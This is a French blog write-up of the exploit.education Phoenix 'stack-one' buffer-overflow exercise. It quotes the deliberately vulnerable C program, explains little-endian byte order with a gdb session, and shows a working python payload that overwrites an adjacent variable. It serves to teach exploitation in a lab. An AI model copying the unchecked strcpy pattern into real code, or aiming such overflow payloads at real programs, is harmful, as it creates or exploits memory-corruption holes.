kiddie
.:: @OREL ::.

Phoenix - Buffer overflow - Stack 1
[ 19/07/2019 ]
Copie originale : [https]://exploit.education/phoenix/stack-one/ --- [0 - Énoncé [1 - Description du programme [1.1 - Code Source [1.2 - Identification de la vulnérabilité [2 - Méthodologie pour l'exploitation [2.1 - Endianness [3 - Exploitation de la vulnérabilité [4 - Conclusion ---
[0 - Énoncé
This level looks at the concept of modifying variables to specific values in the program, and how the variables are laid out in memory. This level can be found at /opt/phoenix//stack-one Hints - man ascii can tell you what the hexadecimal characters are. - Having troubles? How does the endianness of the architecture affect the layout of how variables are laid out?
[1 - Description du programme
[1.1 - Code Source
/* * phoenix/stack-one, by https://exploit.education * * The aim is to change the contents of the changeme variable to 0x496c5962 * * Did you hear about the kid napping at the local school? * It's okay, they woke up. * */ #include <err.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define BANNER \ "Welcome to " LEVELNAME ", brought to you by https://exploit.education" int main(int argc, char **argv) { struct { char buffer[64]; volatile int changeme; } locals; printf("%s\n", BANNER); if (argc < 2) { errx(1, "specify an argument, to be copied into the \"buffer\""); } locals.changeme = 0; strcpy(locals.buffer, argv[1]); if (locals.changeme == 0x496c5962) { puts("Well done, you have successfully set changeme to the correct value"); } else { printf("Getting closer! changeme is currently 0x%08x, we want 0x496c5962\n", locals.changeme); } exit(0); }
Le programme comporte une struture nommée locals composées de deux variables, un tableau de 64 chars noté buffer et un integer volatile noté changeme. La fonction strcpy() est appelée avec locals.buffer et argv[1] en arguments, celle-ci va copiée le contenu de la variable argv[1] dans locals.buffer. Après cette copie, si changeme est égale à la valuer 0x496c5962, l'exercice est réussi, sinon, il faut réessayer.
[1.2 - identification de la vulnérabilité
Le but ici est donc de modifier changeme par le biai d'un appel à la fonction strcpy(). L'exercice est similaire à stack 0 sauf qu'il nous est demandé d'écraser changeme avec une valeur précise. Si on consulte le man de strcpy(), on peut noter des commentaires similai- res à ceux observés sur celui de gets(), notamment : The strings may not overlap Beware of buffer overruns! Some programmers consider strncpy() to be inefficient and error prone. Comme évoqué précédément, nous sommes dans le même cas de figure qu'avec la fonction gets(). Si le buffer alloué pour stocker l'entrée utilisateur n'est pas suffisant, tout le surplus de données ira écraser l'informations qui suit le buffer. En priorité changeme qui se trouve juste après celui-ci comme nous l'avons démontré dans stack zero.
[2 - Méthodologie d'exploitation
L'exploitation est similaire à stack 0 excepté qu'il faut écraser changeme avec la valeur 0x496c5962. 64 octects ont été alloués au buffer, on pourrait donc supposer qu'il suffit de construire une payload de 64 octects suivis de 0x496c5962 pour valider l'exercice :
$ ./stack-one $(python -c 'print "A" * 64 + "\x49\x6c\x59\x62"') Welcome to phoenix/stack-one, brought to you by https://exploit.education Getting closer! changeme is currently 0x62596c49, we want 0x496c5962
[2.1 - Endianness
Étrange, le programme lit 0x62596c49 alors qu'on lui a donné 0x496c5962 ? Et effectivement, nous n'avons pas pris en compte un détail qui rend notre exploit invalide. C'est d'ailleurs pour ça qu'un hint avait été placé dans l'énoncé et qui concerné l'endianess où la manière dont l'ordinateur agence les octets en mémoires. Il existe deux principaux types d'endianess, le big endian et le little endian. En big endian l'octet avec le poids le plus fort est stocké à l'adresse mémoire la plus basse. Par exemple, 0x12345678 sera stocké de cette manière : 0x7f0001: 12 0x7f0002: 34 0x7f0003: 56 0x7f0004: 78 En little endian, c'est l'inverse, l'octet avec le poids le plus faible est stocké à l'adresse la plus basse : Par exemple, 0x12345678 sera stocké de cette manière : 0x7f0001: 78 0x7f0002: 56 0x7f0003: 34 0x7f0004: 12 S'il on souhaite vérifier cette propriété, on peut utiliser le programme suivant :
void main(void) { int foo = 0xdeadbeef; }
et afficher la stack octet par octet :
(gdb) set disassembly-flavor intel (gdb) disas main Dump of assembler code for function main: 0x0000555555555119 <+0>: push rbp 0x000055555555511a <+1>: mov rbp,rsp 0x000055555555511d <+4>: mov DWORD PTR [rbp-0x4],0xdeadbeef 0x0000555555555124 <+11>: nop 0x0000555555555125 <+12>: pop rbp 0x0000555555555126 <+13>: ret End of assembler dump. (gdb) b *0x0000555555555124 Breakpoint 1 at 0x555555555124 (gdb) r Starting program: /home/voidboy/a.out Breakpoint 1, 0x0000555555555124 in main () (gdb) x/4bx $rbp-0x4 0x7fffffffe89c: 0xef 0xbe 0xad 0xde
On sait désormais pourquoi notre payload était affichée à l'envers. Pour rendre notre exploit valide, il faut donc fournir au programme 0x496c5962 sous forme little endian ce qui revient à inverser son sens.
[3 - Exploitation de la vulnérabilité
$ ./stack-one $(python -c 'print "A" * 64 + "\x49\x6c\x59\x62"[::-1]') Welcome to phoenix/stack-one, brought to you by https://exploit.education Well done, you have successfully set changeme to the correct value
[4 - Conclusion
Ce deuxième exercice fait suite aux notions abordées dans stack zero et introduit la manière dont les octets d'une variable sont agencés en mémoire.

Tout est faux tout est conforme.